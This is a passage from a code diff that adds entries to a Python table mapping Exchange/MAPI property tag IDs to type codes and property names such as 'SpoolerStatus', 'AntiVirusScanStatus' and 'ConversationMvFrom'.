+        0x0e0c: (0x000b, None, None, 4, None, None, "Correlate"),
+        0x0e0d: (0x0102, None, None, 4, None, None, "CorrelateMtsid"),
+        0x0e0e: (0x000b, None, None, 4, None, None, "DiscreteValues"),
+        0x0e10: (0x0003, None, None, 4, None, None, "SpoolerStatus"),
+        0x0e11: (0x0003, None, None, 4, None, None, "TransportStatus"),
+        0x0e14: (0x0003, None, None, 4, None, None, "SubmitFlags"),
+        0x0e15: (0x0003, None, None, 4, None, None, "RecipientStatus"),
+        0x0e16: (0x0003, None, None, 4, None, None, "TransportKey"),
+        0x0e18: (0x0003, None, None, 4, None, None, "MessageDownloadTime"),
+        0x0e19: (0x0014, None, None, 4, None, None, "CreationVersion"),
+        0x0e1a: (0x0014, None, None, 4, None, None, "ModifyVersion"),
+        0x0e1c: (0x0003, None, None, 4, None, None, "BodyCrc"),
+        0x0e22: (0x000b, None, None, 4, None, None, "Preprocess"),
+        0x0e23: (0x0003, None, None, 4, None, None, "InternetArticleNumber"),
+        0x0e25: (0x0102, None, None, 4, None, None, "OriginatingMtaCertificate"),
+        0x0e26: (0x0102, None, None, 4, None, None, "ProofOfSubmission"),
+        0x0e3a: (0x000d, None, None, 4, None, None, "MessageDeepAttachments"),
+        0x0e85: (0x001f, None, None, 4, None, None, "AntiVirusVendor"),
+        0x0e86: (0x0003, None, None, 4, None, None, "AntiVirusVersion"),
+        0x0e87: (0x0003, None, None, 4, None, None, "AntiVirusScanStatus"),
+        0x0e88: (0x001f, None, None, 4, None, None, "AntiVirusScanInfo"),
+        0x0e96: (0x101f, None, None, 4, None, None, "TransportAntiVirusStamp"),
+        0x0e7c: (0x0003, None, None, 4, None, None, "MessageDatabasePage"),
+        0x0e7d: (0x0003, None, None, 4, None, None, "MessageHeaderDatabasePage"),
+        0x0ffd: (0x0102, None, None, 4, None, None, "Icon"),
+        0x0ffc: (0x0102, None, None, 4, None, None, "MiniIcon"),
+        0x0ffa: (0x0102, None, None, 4, None, None, "StoreRecordKey"),
+        0x0f0e: (0x001f, None, None, 4, None, None, "MessageAnnotation"),
+        0x3006: (0x001f, None, None, 4, None, None, "ProviderDisplay"),
+        0x3009: (0x0003, None, None, 4, None, None, "ResourceFlags"),
+        0x300a: (0x001f, None, None, 4, None, None, "ProviderDllName"),
+        0x300c: (0x0102, None, None, 4, None, None, "ProviderUid"),
+        0x300d: (0x0003, None, None, 4, None, None, "ProviderOrdinal"),
+        0x3012: (0x001f, None, None, 4, None, None, "ConversationIdObsolete"),
+        0x3014: (0x0102, None, None, 4, None, None, "BodyTag"),
+        0x3015: (0x0014, None, None, 4, None, None, "ConversationIndexTrackingObsolete"),
+        0x6827: (0x0003, None, None, 4, None, None, "ConversationIdHash"),
+        0x6200: (0x0003, None, None, 4, None, None, "InternetMessageIdHash"),
+        0x6201: (0x0003, None, None, 4, None, None, "ConversationTopicHash"),
+        0x3660: (0x0102, None, None, 4, None, None, "ConversationTopicHashEntries"),
+        0x3301: (0x001f, None, None, 4, None, None, "FormVersion"),
+        0x3302: (0x0048, None, None, 4, None, None, "FormClsid"),
+        0x3303: (0x001f, None, None, 4, None, None, "FormContactName"),
+        0x3304: (0x001f, None, None, 4, None, None, "FormCategory"),
+        0x3305: (0x001f, None, None, 4, None, None, "FormCategorySub"),
+        0x3306: (0x1003, None, None, 4, None, None, "FormHostMap"),
+        0x3307: (0x000b, None, None, 4, None, None, "FormHidden"),
+        0x3308: (0x001f, None, None, 4, None, None, "FormDesignerName"),
+        0x3309: (0x0048, None, None, 4, None, None, "FormDesignerGuid"),
+        0x330a: (0x0003, None, None, 4, None, None, "FormMessageBehavior"),
+        0x3400: (0x000b, None, None, 4, None, None, "DefaultStore"),
+        0x3410: (0x0102, None, None, 4, None, None, "IpmSubtreeSearchKey"),
+        0x3411: (0x0102, None, None, 4, None, None, "IpmOutboxSearchKey"),
+        0x3412: (0x0102, None, None, 4, None, None, "IpmWastebasketSearchKey"),
+        0x3413: (0x0102, None, None, 4, None, None, "IpmSentMailSearchKey"),
+        0x3414: (0x0102, None, None, 4, None, None, "MdbProvider"),
+        0x3415: (0x000d, None, None, 4, None, None, "ReceiveFolderSettings"),
+        0x35df: (0x0003, None, None, 4, None, None, "ValidFolderMask"),
+        0x35e0: (0x0102, None, None, 4, None, None, "IpmSubtreeEntryId"),
+        0x35e2: (0x0102, None, None, 4, None, None, "IpmOutboxEntryId"),
+        0x35e4: (0x0102, None, None, 4, None, None, "IpmSentMailEntryId"),
+        0x35e5: (0x0102, None, None, 4, None, None, "ViewsEntryId"),
+        0x35e6: (0x0102, None, None, 4, None, None, "CommonViewsEntryId"),
+        0x35e7: (0x0102, None, None, 4, None, None, "FinderEntryId"),
+        0x35ec: (0x0102, None, None, 4, None, None, "ConversationsFolderEntryId"),
+        0x35ee: (0x0102, None, None, 4, None, None, "AllItemsEntryId"),
+        0x35ef: (0x0102, None, None, 4, None, None, "SharingFolderEntryId"),
+        0x0e5c: (0x000b, None, None, 4, None, None, "CISearchEnabled"),
+        0x3416: (0x0102, None, None, 4, None, None, "LocalDirectoryEntryId"),
+        0x3646: (0x0102, None, None, 4, None, None, "OwnerLogonUserConfigurationCache"),
+        0x3420: (0x0102, None, None, 4, None, None, "ControlDataForCalendarRepairAssistant"),
+        0x3421: (0x0102, None, None, 4, None, None, "ControlDataForSharingPolicyAssistant"),
+        0x3422: (0x0102, None, None, 4, None, None, "ControlDataForElcAssistant"),
+        0x3423: (0x0102, None, None, 4, None, None, "ControlDataForTopNWordsAssistant"),
+        0x3424: (0x0102, None, None, 4, None, None, "ControlDataForJunkEmailAssistant"),
+        0x3425: (0x0102, None, None, 4, None, None, "ControlDataForCalendarSyncAssistant"),
+        0x3426: (0x0003, None, None, 4, None, None, "ExternalSharingCalendarSubscriptionCount"),
+        0x3427: (0x0102, None, None, 4, None, None, "ControlDataForUMReportingAssistant"),
+        0x3428: (0x000b, None, None, 4, None, None, "HasUMReportData"),
+        0x3429: (0x0003, None, None, 4, None, None, "InternetCalendarSubscriptionCount"),
+        0x342a: (0x0003, None, None, 4, None, None, "ExternalSharingContactSubscriptionCount"),
+        0x342b: (0x0003, None, None, 4, None, None, "JunkEmailSafeListDirty"),
+        0x342c: (0x000b, None, None, 4, None, None, "IsTopNEnabled"),
+        0x342d: (0x0102, None, None, 4, None, None, "LastSharingPolicyAppliedId"),
+        0x342e: (0x0102, None, None, 4, None, None, "LastSharingPolicyAppliedHash"),
+        0x342f: (0x0040, None, None, 4, None, None, "LastSharingPolicyAppliedTime"),
+        0x3430: (0x0040, None, None, 4, None, None, "OofScheduleStart"),
+        0x3431: (0x0040, None, None, 4, None, None, "OofScheduleEnd"),
+        0x35fe: (0x0102, None, None, 4, None, None, "UnsearchableItemsStream"),
+        0x3604: (0x000d, None, None, 4, None, None, "CreateTemplates"),
+        0x3605: (0x000d, None, None, 4, None, None, "DetailsTable"),
+        0x3607: (0x000d, None, None, 4, None, None, "Search"),
+        0x360b: (0x0003, None, None, 4, None, None, "Status"),
+        0x360d: (0x1003, None, None, 4, None, None, "ContentsSortOrder"),
+        0x3611: (0x0102, None, None, 4, None, None, "DefCreateDl"),
+        0x3612: (0x0102, None, None, 4, None, None, "DefCreateMailuser"),
+        0x3614: (0x0014, None, None, 4, None, None, "ContainerModifyVersion"),
+        0x3615: (0x0102, None, None, 4, None, None, "AbProviderId"),
+        0x3616: (0x0102, None, None, 4, None, None, "DefaultViewEntryId"),
+        0x3617: (0x0003, None, None, 4, None, None, "AssocContentCount"),
+        0x3644: (0x0003, None, None, 4, None, None, "SearchFolderMsgCount"),
+        0x361f: (0x000b, None, None, 4, None, None, "AllowAgeout"),
+        0x6787: (0x101f, None, None, 4, None, None, "SearchBacklinkNames"),
+        0x3700: (0x0102, None, None, 4, None, None, "AttachmentX400Parameters"),
+        0x3716: (0x001f, None, None, 4, None, None, "AttachDisposition"),
+        0x0eb0: (0x0003, None, None, 4, None, None, "SearchResultKind"),
+        0x0eab: (0x001f, None, None, 4, None, None, "SearchFullText"),
+        0x0eac: (0x001f, None, None, 4, None, None, "SearchFullTextSubject"),
+        0x0ead: (0x001f, None, None, 4, None, None, "SearchFullTextBody"),
+        0x0eae: (0x001f, None, None, 4, None, None, "SearchFullTextConversationIndex"),
+        0x0eaf: (0x001f, None, None, 4, None, None, "SearchAllIndexedProps"),
+        0x0eb1: (0x001f, None, None, 4, None, None, "SearchRecipients"),
+        0x0eb2: (0x001f, None, None, 4, None, None, "SearchRecipientsTo"),
+        0x0eb3: (0x001f, None, None, 4, None, None, "SearchRecipientsCc"),
+        0x0eb4: (0x001f, None, None, 4, None, None, "SearchRecipientsBcc"),
+        0x0eb5: (0x001f, None, None, 4, None, None, "SearchAccountTo"),
+        0x0eb6: (0x001f, None, None, 4, None, None, "SearchAccountCc"),
+        0x0eb7: (0x001f, None, None, 4, None, None, "SearchAccountBcc"),
+        0x0eb8: (0x001f, None, None, 4, None, None, "SearchEmailAddressTo"),
+        0x0eb9: (0x001f, None, None, 4, None, None, "SearchEmailAddressCc"),
+        0x0eba: (0x001f, None, None, 4, None, None, "SearchEmailAddressBcc"),
+        0x0ebb: (0x001f, None, None, 4, None, None, "SearchSmtpAddressTo"),
+        0x0ebc: (0x001f, None, None, 4, None, None, "SearchSmtpAddressCc"),
+        0x0ebd: (0x001f, None, None, 4, None, None, "SearchSmtpAddressBcc"),
+        0x0ebe: (0x001f, None, None, 4, None, None, "SearchSender"),
+        0x0ebf: (0x001f, None, None, 4, None, None, "SendYearHigh"),
+        0x0ec0: (0x001f, None, None, 4, None, None, "SendYearLow"),
+        0x0ec1: (0x001f, None, None, 4, None, None, "SendMonth"),
+        0x0ec2: (0x001f, None, None, 4, None, None, "SendDayHigh"),
+        0x0ec3: (0x001f, None, None, 4, None, None, "SendDayLow"),
+        0x0ec4: (0x001f, None, None, 4, None, None, "SendQuarterHigh"),
+        0x0ec5: (0x001f, None, None, 4, None, None, "SendQuarterLow"),
+        0x0ec6: (0x001f, None, None, 4, None, None, "RcvdYearHigh"),
+        0x0ec7: (0x001f, None, None, 4, None, None, "RcvdYearLow"),
+        0x0ec8: (0x001f, None, None, 4, None, None, "RcvdMonth"),
+        0x0ec9: (0x001f, None, None, 4, None, None, "RcvdDayHigh"),
+        0x0eca: (0x001f, None, None, 4, None, None, "RcvdDayLow"),
+        0x0ecb: (0x001f, None, None, 4, None, None, "RcvdQuarterHigh"),
+        0x0ecc: (0x001f, None, None, 4, None, None, "RcvdQuarterLow"),
+        0x0ecd: (0x000b, None, None, 4, None, None, "IsIrmMessage"),
+        0x3a01: (0x0102, None, None, 4, None, None, "AlternateRecipient"),
+        0x3a03: (0x000b, None, None, 4, None, None, "ConversionProhibited"),
+        0x3a04: (0x000b, None, None, 4, None, None, "DiscloseRecipients"),
+        0x3a0e: (0x000b, None, None, 4, None, None, "MailPermission"),
+        0x3a13: (0x001f, None, None, 4, None, None, "OriginalDisplayName"),
+        0x3a14: (0x0102, None, None, 4, None, None, "OriginalSearchKey"),
+        0x3a52: (0x0048, None, None, 4, None, None, "ContactVersion"),
+        0x3a53: (0x1102, None, None, 4, None, None, "ContactEntryIds"),
+        0x3a54: (0x101f, None, None, 4, None, None, "ContactAddrTypes"),
+        0x3a55: (0x0003, None, None, 4, None, None, "ContactDefaultAddressIndex"),
+        0x3a56: (0x101f, None, None, 4, None, None, "ContactEmailAddresses"),
+        0x3d00: (0x0102, None, None, 4, None, None, "StoreProviders"),
+        0x3d01: (0x0102, None, None, 4, None, None, "AbProviders"),
+        0x3d02: (0x0102, None, None, 4, None, None, "TransportProviders"),
+        0x3d04: (0x000b, None, None, 4, None, None, "DefaultProfile"),
+        0x3d05: (0x1102, None, None, 4, None, None, "AbSearchPath"),
+        0x3d06: (0x0102, None, None, 4, None, None, "AbDefaultDir"),
+        0x3d07: (0x0102, None, None, 4, None, None, "AbDefaultPab"),
+        0x3d08: (0x0102, None, None, 4, None, None, "FilteringHooks"),
+        0x3d09: (0x001f, None, None, 4, None, None, "ServiceName"),
+        0x3d0a: (0x001f, None, None, 4, None, None, "ServiceDllName"),
+        0x3d0c: (0x0102, None, None, 4, None, None, "ServiceUid"),
+        0x3d0d: (0x0102, None, None, 4, None, None, "ServiceExtraUids"),
+        0x3d0e: (0x0102, None, None, 4, None, None, "Services"),
+        0x3d0f: (0x101f, None, None, 4, None, None, "ServiceSupportFiles"),
+        0x3d10: (0x101f, None, None, 4, None, None, "ServiceDeleteFiles"),
+        0x3d11: (0x0102, None, None, 4, None, None, "AbSearchPathUpdate"),
+        0x3d12: (0x001f, None, None, 4, None, None, "ProfileName"),
+        0x3fe9: (0x0003, None, None, 4, None, None, "EformsLocaleId"),
+        0x6620: (0x0102, None, None, 4, None, None, "NonIpmSubtreeEntryId"),
+        0x6621: (0x0102, None, None, 4, None, None, "EFormsRegistryEntryId"),
+        0x6623: (0x0102, None, None, 4, None, None, "OfflineAddressBookEntryId"),
+        0x6624: (0x0102, None, None, 4, None, None, "LocaleEFormsRegistryEntryId"),
+        0x6625: (0x0102, None, None, 4, None, None, "LocalSiteFreeBusyEntryId"),
+        0x6626: (0x0102, None, None, 4, None, None, "LocalSiteOfflineAddressBookEntryId"),
+        0x6810: (0x0003, None, None, 4, None, None, "OofStateEx"),
+        0x6813: (0x0040, None, None, 4, None, None, "OofStateUserChangeTime"),
+        0x6814: (0x0102, None, None, 4, None, None, "UserOofSettingsItemId"),
+        0x35e3: (0x0102, None, None, 4, None, None, "IpmWasteBasketEntryId"),
+        0x3011: (0x0102, None, None, 4, None, None, "ForceUserClientBackoff"),
+        0x6618: (0x0003, None, None, 4, None, None, "InTransitStatus"),
+        0x662a: (0x000b, None, None, 4, None, None, "TransferEnabled"),
+        0x65f6: (0x101f, None, None, 4, None, None, "ImapSubscribeList"),
+        0x676c: (0x0102, None, None, 4, None, None, "MapiEntryIdGuid"),
+        0x662f: (0x000d, None, None, 4, None, None, "FastTransfer"),
+        0x681a: (0x000b, None, None, 4, None, None, "MailboxQuarantined"),
+        0x6761: (0x0102, None, None, 4, None, None, "NextLocalId"),
+        0x6670: (0x0102, None, None, 4, None, None, "LongTermEntryIdFromTable"),
+        0x0e27: (0x0102, None, None, 4, None, None, "NTSD"),
+        0x3d21: (0x0102, None, None, 4, None, None, "AdminNTSD"),
+        0x0f00: (0x0102, None, None, 4, None, None, "FreeBusyNTSD"),
+        0x0e3f: (0x0102, None, None, 4, None, None, "AclTableAndNTSD"),
+        0x6707: (0x001f, None, None, 4, None, None, "UrlName"),
+        0x6698: (0x0102, None, None, 4, None, None, "ReplicaList"),
+        0x663f: (0x000b, None, None, 4, None, None, "HasModerator"),
+        0x3fe6: (0x000b, None, None, 4, None, None, "PublishInAddressBook"),
+        0x6699: (0x0003, None, None, 4, None, None, "OverallAgeLimit"),
+        0x66c4: (0x0003, None, None, 4, None, None, "RetentionAgeLimit"),
+        0x6779: (0x0003, None, None, 4, None, None, "PfQuotaStyle"),
+        0x677b: (0x0003, None, None, 4, None, None, "PfStorageQuota"),
+        0x6721: (0x0003, None, None, 4, None, None, "PfOverHardQuotaLimit"),
+        0x6722: (0x0003, None, None, 4, None, None, "PfMsgSizeLimit"),
+        0x6690: (0x0003, None, None, 4, None, None, "ReplicationStyle"),
+        0x6691: (0x0102, None, None, 4, None, None, "ReplicationSchedule"),
+        0x66c5: (0x000b, None, None, 4, None, None, "DisablePeruserRead"),
+        0x6701: (0x0003, None, None, 4, None, None, "PfMsgAgeLimit"),
+        0x671d: (0x0102, None, None, 4, None, None, "PfProxy"),
+        0x3d2f: (0x0003, None, None, 4, None, None, "SystemFolderFlags"),
+        0x3fd9: (0x001f, None, None, 4, None, None, "Preview"),
+        0x6828: (0x0102, None, None, 4, None, None, "LocalDirectory"),
+        0x0e63: (0x0003, None, None, 4, None, None, "SendFlags"),
+        0x3fe1: (0x000d, None, None, 4, None, None, "RulesTable"),
+        0x4080: (0x0003, None, None, 4, None, None, "OofReplyType"),
+        0x4081: (0x001f, None, None, 4, None, None, "ElcAutoCopyLabel"),
+        0x6716: (0x0102, None, None, 4, None, None, "ElcAutoCopyTag"),
+        0x6717: (0x0102, None, None, 4, None, None, "ElcMoveDate"),
+        0x6829: (0x001f, None, None, 4, None, None, "MemberEmail"),
+        0x682a: (0x001f, None, None, 4, None, None, "MemberExternalId"),
+        0x682b: (0x0102, None, None, 4, None, None, "MemberSID"),
+        0x662c: (0x000d, None, None, 4, None, None, "HierarchySynchronizer"),
+        0x662d: (0x000d, None, None, 4, None, None, "ContentsSynchronizer"),
+        0x662e: (0x000d, None, None, 4, None, None, "Collector"),
+        0x6609: (0x000b, None, None, 4, None, None, "SendRichInfoOnly"),
+        0x6637: (0x000b, None, None, 4, None, None, "SendNativeBody"),
+        0x6608: (0x0003, None, None, 4, None, None, "InternetTransmitInfo"),
+        0x6610: (0x0003, None, None, 4, None, None, "InternetMessageFormat"),
+        0x6611: (0x0003, None, None, 4, None, None, "InternetMessageTextFormat"),
+        0x6615: (0x0003, None, None, 4, None, None, "InternetRequestLines"),
+        0x6616: (0x0003, None, None, 4, None, None, "InternetHeaderLength"),
+        0x6617: (0x0003, None, None, 4, None, None, "InternetAddressingOptions"),
+        0x661a: (0x001f, None, None, 4, None, None, "InternetTemporaryFilename"),
+        0x6570: (0x0003, None, None, 4, None, None, "InternetExternalNewsItem"),
+        0x661e: (0x0003, None, None, 4, None, None, "InternetRequestHeaders"),
+        0x6631: (0x001f, None, None, 4, None, None, "InternetClientHostIPName"),
+        0x66c0: (0x0040, None, None, 4, None, None, "ConnectTime"),
+        0x66c1: (0x0003, None, None, 4, None, None, "ConnectFlags"),
+        0x66c2: (0x0003, None, None, 4, None, None, "LogonCount"),
+        0x669f: (0x001f, None, None, 4, None, None, "HostAddress"),
+        0x66a0: (0x001f, None, None, 4, None, None, "NTUserName"),
+        0x66a2: (0x0040, None, None, 4, None, None, "LastLogonTime"),
+        0x66a3: (0x0040, None, None, 4, None, None, "LastLogoffTime"),
+        0x66a4: (0x0003, None, None, 4, None, None, "StorageLimitInformation"),
+        0x66a5: (0x000b, None, None, 4, None, None, "InternetMdns"),
+        0x669b: (0x0014, None, None, 4, None, None, "DeletedMessageSizeExtended"),
+        0x669c: (0x0014, None, None, 4, None, None, "DeletedNormalMessageSizeExtended"),
+        0x669d: (0x0014, None, None, 4, None, None, "DeleteAssocMessageSizeExtended"),
+        0x6640: (0x0003, None, None, 4, None, None, "DeletedMsgCount"),
+        0x6708: (0x0040, None, None, 4, None, None, "DateDiscoveredAbsentInDS"),
+        0x6778: (0x001f, None, None, 4, None, None, "AdminNickName"),
+        0x6723: (0x0003, None, None, 4, None, None, "QuotaReceiveThreshold"),
+        0x66df: (0x0040, None, None, 4, None, None, "LastOpTime"),
+        0x66ff: (0x0003, None, None, 4, None, None, "PacketRate"),
+        0x66cc: (0x0040, None, None, 4, None, None, "LogonTime"),
+        0x66cd: (0x0003, None, None, 4, None, None, "LogonFlags"),
+        0x6764: (0x0014, None, None, 4, None, None, "MsgHeaderFid"),
+        0x66c9: (0x001f, None, None, 4, None, None, "MailboxDisplayName"),
+        0x66c8: (0x001f, None, None, 4, None, None, "MailboxDN"),
+        0x66cb: (0x001f, None, None, 4, None, None, "UserDisplayName"),
+        0x66ca: (0x001f, None, None, 4, None, None, "UserDN"),
+        0x6710: (0x0014, None, None, 4, None, None, "SessionId"),
+        0x66cf: (0x0003, None, None, 4, None, None, "OpenMessageCount"),
+        0x66d0: (0x0003, None, None, 4, None, None, "OpenFolderCount"),
+        0x66d1: (0x0003, None, None, 4, None, None, "OpenAttachCount"),
+        0x66d2: (0x0003, None, None, 4, None, None, "OpenContentCount"),
+        0x66d3: (0x0003, None, None, 4, None, None, "OpenHierarchyCount"),
+        0x66d4: (0x0003, None, None, 4, None, None, "OpenNotifyCount"),
+        0x66d5: (0x0003, None, None, 4, None, None, "OpenAttachTableCount"),
+        0x66d6: (0x0003, None, None, 4, None, None, "OpenACLTableCount"),
+        0x66d7: (0x0003, None, None, 4, None, None, "OpenRulesTableCount"),
+        0x66d8: (0x0003, None, None, 4, None, None, "OpenStreamsCount"),
+        0x66d9: (0x0003, None, None, 4, None, None, "OpenFXSrcStreamCount"),
+        0x66da: (0x0003, None, None, 4, None, None, "OpenFXDestStreamCount"),
+        0x66db: (0x0003, None, None, 4, None, None, "OpenContentRegularCount"),
+        0x66dc: (0x0003, None, None, 4, None, None, "OpenContentCategCount"),
+        0x66dd: (0x0003, None, None, 4, None, None, "OpenContentRestrictedCount"),
+        0x66de: (0x0003, None, None, 4, None, None, "OpenContentCategAndRestrictedCount"),
+        0x66b8: (0x0003, None, None, 4, None, None, "MessagingOpRate"),
+        0x66b9: (0x0003, None, None, 4, None, None, "FolderOpRate"),
+        0x66ba: (0x0003, None, None, 4, None, None, "TableOpRate"),
+        0x66bb: (0x0003, None, None, 4, None, None, "TransferOpRate"),
+        0x66bc: (0x0003, None, None, 4, None, None, "StreamOpRate"),
+        0x66bd: (0x0003, None, None, 4, None, None, "ProgressOpRate"),
+        0x66be: (0x0003, None, None, 4, None, None, "OtherOpRate"),
+        0x66bf: (0x0003, None, None, 4, None, None, "TotalOpRate"),
+        0x671f: (0x000b, None, None, 4, None, None, "PfProxyRequired"),
+        0x6724: (0x0102, None, None, 4, None, None, "ClientIP"),
+        0x6725: (0x0102, None, None, 4, None, None, "ClientIPMask"),
+        0x6726: (0x0102, None, None, 4, None, None, "ClientMacAddress"),
+        0x6727: (0x001f, None, None, 4, None, None, "ClientMachineName"),
+        0x6728: (0x0003, None, None, 4, None, None, "ClientAdapterSpeed"),
+        0x6729: (0x0003, None, None, 4, None, None, "ClientRpcsAttempted"),
+        0x672a: (0x0003, None, None, 4, None, None, "ClientRpcsSucceeded"),
+        0x672b: (0x0102, None, None, 4, None, None, "ClientRpcErrors"),
+        0x672c: (0x0003, None, None, 4, None, None, "ClientLatency"),
+        0x666f: (0x000b, None, None, 4, None, None, "SubmittedByAdmin"),
+        0x680d: (0x0003, None, None, 4, None, None, "ObjectClassFlags"),
+        0x682d: (0x0003, None, None, 4, None, None, "MaxMessageSize"),
+        0x672d: (0x0003, None, None, 4, None, None, "TimeInServer"),
+        0x672e: (0x0003, None, None, 4, None, None, "TimeInCPU"),
+        0x672f: (0x0003, None, None, 4, None, None, "ROPCount"),
+        0x6730: (0x0003, None, None, 4, None, None, "PageRead"),
+        0x6731: (0x0003, None, None, 4, None, None, "PagePreread"),
+        0x6732: (0x0003, None, None, 4, None, None, "LogRecordCount"),
+        0x6733: (0x0003, None, None, 4, None, None, "LogRecordBytes"),
+        0x6734: (0x0003, None, None, 4, None, None, "LdapReads"),
+        0x6735: (0x0003, None, None, 4, None, None, "LdapSearches"),
+        0x6736: (0x001f, None, None, 4, None, None, "DigestCategory"),
+        0x6737: (0x0003, None, None, 4, None, None, "SampleId"),
+        0x6738: (0x0040, None, None, 4, None, None, "SampleTime"),
+        0x661f: (0x0102, None, None, 4, None, None, "DeferredActionFolderEntryID"),
+        0x3fff: (0x0003, None, None, 4, None, None, "RulesSize"),
+        0x668d: (0x0002, None, None, 4, None, None, "RuleVersion"),
+        0x65f2: (0x0002, None, None, 4, None, None, "RuleMsgVersion"),
+        0x3642: (0x0102, None, None, 4, None, None, "DAMReferenceMessageEntryID"),
+        0x65f5: (0x0040, None, None, 4, None, None, "ImapInternalDate"),
+        0x6751: (0x0003, None, None, 4, None, None, "NextArticleId"),
+        0x6752: (0x0003, None, None, 4, None, None, "ImapLastArticleId"),
+        0x0e2f: (0x0003, None, None, 4, None, None, "ImapId"),
+        0x0e32: (0x0002, None, None, 4, None, None, "OriginalSourceServerVersion"),
+        0x5806: (0x000b, None, None, 4, None, None, "DeliverAsRead"),
+        0x67fe: (0x0014, None, None, 4, None, None, "ReadCn"),
+        0x6808: (0x0003, None, None, 4, None, None, "EventMask"),
+        0x676a: (0x0102, None, None, 4, None, None, "EventMailboxGuid"),
+        0x6815: (0x0003, None, None, 4, None, None, "DocumentId"),
+        0x6702: (0x000b, None, None, 4, None, None, "BeingDeleted"),
+        0x678d: (0x0102, None, None, 4, None, None, "FolderCDN"),
+        0x67f6: (0x0003, None, None, 4, None, None, "ModifiedCount"),
+        0x67f7: (0x0003, None, None, 4, None, None, "DeleteState"),
+        0x66fe: (0x001f, None, None, 4, None, None, "AdminDisplayName"),
+        0x66a9: (0x0040, None, None, 4, None, None, "LastAccessTime"),
+        0x6830: (0x0040, None, None, 4, None, None, "LastUserAccessTime"),
+        0x6831: (0x0040, None, None, 4, None, None, "LastUserModificationTime"),
+        0x66b4: (0x0014, None, None, 4, None, None, "AssocMessageSizeExtended"),
+        0x66b5: (0x001f, None, None, 4, None, None, "FolderPathName"),
+        0x66b6: (0x0003, None, None, 4, None, None, "OwnerCount"),
+        0x66b7: (0x0003, None, None, 4, None, None, "ContactCount"),
+        0x7c01: (0x001f, None, None, 4, None, None, "MessageAudioNotes"),
+        0x3ff5: (0x0003, None, None, 4, None, None, "StorageQuotaLimit"),
+        0x3ff6: (0x0003, None, None, 4, None, None, "ExcessStorageUsed"),
+        0x3ff7: (0x001f, None, None, 4, None, None, "SvrGeneratingQuotaMsg"),
+        0x3fc2: (0x000b, None, None, 4, None, None, "PrimaryMbxOverQuota"),
+        0x65c6: (0x0003, None, None, 4, None, None, "SecureSubmitFlags"),
+        0x673e: (0x0102, None, None, 4, None, None, "PropertyGroupInformation"),
+        0x6784: (0x0102, None, None, 4, None, None, "SearchRestriction"),
+        0x67b0: (0x00fd, None, None, 4, None, None, "ViewRestriction"),
+        0x6788: (0x0003, None, None, 4, None, None, "LCIDRestriction"),
+        0x676e: (0x0003, None, None, 4, None, None, "LCID"),
+        0x67f3: (0x0040, None, None, 4, None, None, "ViewAccessTime"),
+        0x689e: (0x0003, None, None, 4, None, None, "CategCount"),
+        0x6819: (0x000b, None, None, 4, None, None, "SoftDeletedFilter"),
+        0x681b: (0x000b, None, None, 4, None, None, "ConversationsFilter"),
+        0x689c: (0x0003, None, None, 4, None, None, "DVUIdLowest"),
+        0x689d: (0x0003, None, None, 4, None, None, "DVUIdHighest"),
+        0x6880: (0x101f, None, None, 4, None, None, "ConversationMvFrom"),
+        0x6881: (0x101f, None, None, 4, None, None, "ConversationMvFromMailboxWide"),
+        0x6882: (0x101f, None, None, 4, None, None, "ConversationMvTo"),
+        0x6883: (0x101f, None, None, 4, None, None, "ConversationMvToMailboxWide"),
+        0x6884: (0x0040, None, None, 4, None, None, "ConversationMsgDeliveryTime"),
+        0x6885: (0x0040, None, None, 4, None, None, "ConversationMsgDeliveryTimeMailboxWide"),
+        0x6886: (0x101f, None, None, 4, None, None, "ConversationCategories"),
+        0x6887: (0x101f, None, None, 4, None, None, "ConversationCategoriesMailboxWide"),
+        0x6888: (0x0003, None, None, 4, None, None, "ConversationFlagStatus"),
+        0x6889: (0x0003, None, None, 4, None, None, "ConversationFlagStatusMailboxWide"),
+        0x688a: (0x0040, None, None, 4, None, None, "ConversationFlagCompleteTime"),
+        0x688b: (0x0040, None, None, 4, None, None, "ConversationFlagCompleteTimeMailboxWide"),
+        0x688c: (0x000b, None, None, 4, None, None, "ConversationHasAttach"),
+        0x688d: (0x000b, None, None, 4, None, None, "ConversationHasAttachMailboxWide"),
+        0x688e: (0x0003, None, None, 4, None, None, "ConversationContentCount"),
+        0x688f: (0x0003, None, None, 4, None, None, "ConversationContentCountMailboxWide"),
+        0x6893: (0x0003, None, None, 4, None, None, "ConversationMessageSizeMailboxWide"),
+        0x6894: (0x101f, None, None, 4, None, None, "ConversationMessageClasses"),
+        0x6895: (0x101f, None, None, 4, None, None, "ConversationMessageClassesMailboxWide"),
+        0x6896: (0x0003, None, None, 4, None, None, "ConversationReplyForwardState"),
+        0x6897: (0x0003, None, None, 4, None, None, "ConversationReplyForwardStateMailboxWide"),
+        0x6898: (0x0003, None, None, 4, None, None, "ConversationImportance"),
+        0x6899: (0x0003, None, None, 4, None, None, "ConversationImportanceMailboxWide"),
+        0x689a: (0x101f, None, None, 4, None, None, "ConversationMvFromUnread"),
+        0x689b: (0x101f, None, None, 4, None, None, "ConversationMvFromUnreadMailboxWide"),
+        0x68a0: (0x1102, None, None, 4, None, None, "ConversationMvItemIds"),
+        0x68a1: (0x1102, None, None, 4, None, None, "ConversationMvItemIdsMailboxWide"),
+        0x68a2: (0x000b, None, None, 4, None, None, "ConversationHasIrm"),
+        0x68a3: (0x000b, None, None, 4, None, None, "ConversationHasIrmMailboxWide"),
+        0x682c: (0x0040, None, None, 4, None, None, "TransportSyncSubscriptionListTimestamp"),
+        0x3690: (0x0102, None, None, 4, None, None, "TransportRulesSnapshot"),
+        0x3691: (0x0048, None, None, 4, None, None, "TransportRulesSnapshotId"),
+        0x7c05: (0x0040, None, None, 4, None, None, "DeletedMessageSizeExtendedLastModificationTime"),
+        0x0082: (0x001f, None, None, 4, None, None, "ReportOriginalSender"),
+        0x0083: (0x001f, None, None, 4, None, None, "ReportDispositionToNames"),
+        0x0084: (0x001f, None, None, 4, None, None, "ReportDispositionToEmailAddress"),
+        0x0085: (0x001f, None, None, 4, None, None, "ReportDispositionOptions"),
+        0x0086: (0x0002, None, None, 4, None, None, "RichContent"),
+        0x0100: (0x101f, None, None, 4, None, None, "AdministratorEMail"),
+        0x0c24: (0x0102, None, None, 4, None, None, "ParticipantSID"),
+        0x0c25: (0x0102, None, None, 4, None, None, "ParticipantGuid"),
+        0x0c26: (0x001f, None, None, 4, None, None, "ToGroupExpansionRecipients"),
+        0x0c27: (0x001f, None, None, 4, None, None, "CcGroupExpansionRecipients"),
+        0x0c28: (0x001f, None, None, 4, None, None, "BccGroupExpansionRecipients"),
